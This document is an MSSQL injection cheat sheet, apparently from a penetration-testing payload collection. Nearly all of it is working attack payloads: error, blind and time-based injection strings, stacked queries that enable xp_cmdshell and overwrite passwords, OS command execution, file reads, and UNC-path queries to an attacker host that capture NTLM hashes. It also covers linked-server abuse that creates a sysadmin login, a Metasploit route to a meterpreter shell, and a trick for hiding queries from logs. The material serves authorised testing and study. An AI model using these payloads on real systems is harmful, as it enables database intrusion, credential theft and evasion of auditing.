MSSQL Injection
MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or "inject" malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.
Summary
- MSSQL Default Databases
- MSSQL Comments
- MSSQL Enumeration
- MSSQL Union Based
- MSSQL Error Based
- MSSQL Blind Based
- MSSQL Time Based
- MSSQL Stacked Query
- MSSQL File Manipulation
- MSSQL Command Execution
- MSSQL Out of Band
- MSSQL Trusted Links
- MSSQL Privileges
- MSSQL Database Credentials
- MSSQL OPSEC
- References
MSSQL Default Databases
Name | Description |
---|---|
pubs | Not available on MSSQL 2005 |
model | Available in all versions |
msdb | Available in all versions |
tempdb | Available in all versions |
northwind | Available in all versions |
information_schema | Available from MSSQL 2000 and higher |
MSSQL Comments
Type | Description |
---|---|
/* MSSQL Comment */ |
C-style comment |
-- |
SQL comment |
;%00 |
Null byte |
MSSQL Enumeration
Description | SQL Query |
---|---|
DBMS version | SELECT @@version |
Database name | SELECT DB_NAME() |
Database schema | SELECT SCHEMA_NAME() |
Hostname | SELECT HOST_NAME() |
Hostname | SELECT @@hostname |
Hostname | SELECT @@SERVERNAME |
Hostname | SELECT SERVERPROPERTY('productversion') |
Hostname | SELECT SERVERPROPERTY('productlevel') |
Hostname | SELECT SERVERPROPERTY('edition') |
User | SELECT CURRENT_USER |
User | SELECT user_name(); |
User | SELECT system_user; |
User | SELECT user; |
MSSQL List Databases
SELECT name FROM master..sysdatabases;
SELECT name FROM master.sys.databases;
-- for N = 0, 1, 2, …
SELECT DB_NAME(N);
-- Change delimiter value such as ', ' to anything else you want => master, tempdb, model, msdb
-- (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysdatabases;
MSSQL List Tables
-- use xtype = 'V' for views
SELECT name FROM master..sysobjects WHERE xtype = 'U';
SELECT name FROM <DBNAME>..sysobjects WHERE xtype='U'
SELECT name FROM someotherdb..sysobjects WHERE xtype = 'U';
-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
SELECT table_catalog, table_name FROM information_schema.columns
SELECT table_name FROM information_schema.tables WHERE table_catalog='<DBNAME>'
-- Change delimiter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U';
MSSQL List Columns
-- for the current DB only
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable');
-- list column names and types for master..sometable
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='sometable';
SELECT table_catalog, column_name FROM information_schema.columns
SELECT COL_NAME(OBJECT_ID('<DBNAME>.<TABLE_NAME>'), <INDEX>)
MSSQL Union Based
-
Extract databases names
-
Extract tables from Injection database
-
Extract columns for the table Users
-
Finally extract the data
MSSQL Error Based
Name | Payload |
---|---|
CONVERT | AND 1337=CONVERT(INT,(SELECT '~'+(SELECT @@version)+'~')) -- - |
IN | AND 1337 IN (SELECT ('~'+(SELECT @@version)+'~')) -- - |
EQUAL | AND 1337=CONCAT('~',(SELECT @@version),'~') -- - |
CAST | CAST((SELECT @@version) AS INT) |
-
For integer inputs
-
For string inputs
MSSQL Blind Based
SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
MSSQL Blind With Substring Equivalent
Function | Example |
---|---|
SUBSTRING |
SUBSTRING('foobar', <START>, <LENGTH>) |
Examples:
AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
MSSQL Time Based
In a time-based blind SQL injection attack, an attacker injects a payload that uses WAITFOR DELAY
to make the database pause for a certain period. The attacker then observes the response time to infer whether the injected payload executed successfully or not.
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--
IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
MSSQL Stacked Query
-
Stacked query without any statement terminator
-- multiple SELECT statements SELECT 'A'SELECT 'B'SELECT 'C' -- updating password with a stacked query SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')-- -- using the stacked query to enable xp_cmdshell -- you won't have the output of the query, redirect it to a file SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
-
Use a semi-colon "
;
" to add another query
MSSQL File Manipulation
MSSQL Read File
Permissions: The BULK
option requires the ADMINISTER BULK OPERATIONS
or the ADMINISTER DATABASE BULK OPERATIONS
permission.
Example:
-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
MSSQL Write File
MSSQL Command Execution
XP_CMDSHELL
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
If you need to reactivate xp_cmdshell
(disabled by default in SQL Server 2005)
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;
Python Script
Executed by a different user than the one using
xp_cmdshell
to execute commands
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
MSSQL Out of Band
MSSQL DNS exfiltration
Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
-
Permission: Requires VIEW SERVER STATE permission on the server.
-
Permission: Requires the CONTROL SERVER permission.
MSSQL UNC Path
MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the xp_dirtree
function to list the files in our SMB share and grab the NTLMv2 hash.
xp_dirtree '\\attackerip\file'
xp_fileexist '\\attackerip\file'
BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
RESTORE LABELONLY FROM DISK = '\\attackerip\file'
RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
MSSQL Trusted Links
The links between databases work even across forest trusts.
msf> use exploit/windows/mssql/mssql_linkcrawler
[msf> set DEPLOY true] # Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
Manual exploitation
-- find link
select * from master..sysservers
-- execute query through the link
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
select version from openquery("linkedserver", 'select @@version as version');
-- chain multiple openquery
select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
-- execute shell commands
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
-- create user and give admin privileges
EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
MSSQL Privileges
MSSQL List Permissions
-
Listing effective permissions of current user on the server.
-
Listing effective permissions of current user on the database.
-
Listing effective permissions of current user on a view.
-
Check if current user is a member of the specified server role.
MSSQL Make User DBA
MSSQL Database Credentials
- MSSQL 2000: Hashcat mode 131:
0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578
- MSSQL 2005: Hashcat mode 132:
0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe
MSSQL OPSEC
Use SP_PASSWORD
in a query to hide from the logs like : ' AND 1=1--sp_password
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
References
- AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice - Marc Olivier Bergeron - June 21, 2023
- Error based SQL Injection in "Order By" clause - Manish Kishan Tanwar - March 26, 2018
- Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - January 28, 2009
- IS_SRVROLEMEMBER (Transact-SQL) - Microsoft - April 9, 2024
- MSSQL Injection Cheat Sheet - @pentestmonkey - August 30, 2011
- MSSQL Trusted Links - HackTricks - September 15, 2024
- SQL Server - Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6, 2013
- sys.fn_my_permissions (Transact-SQL) - Microsoft - January 25, 2024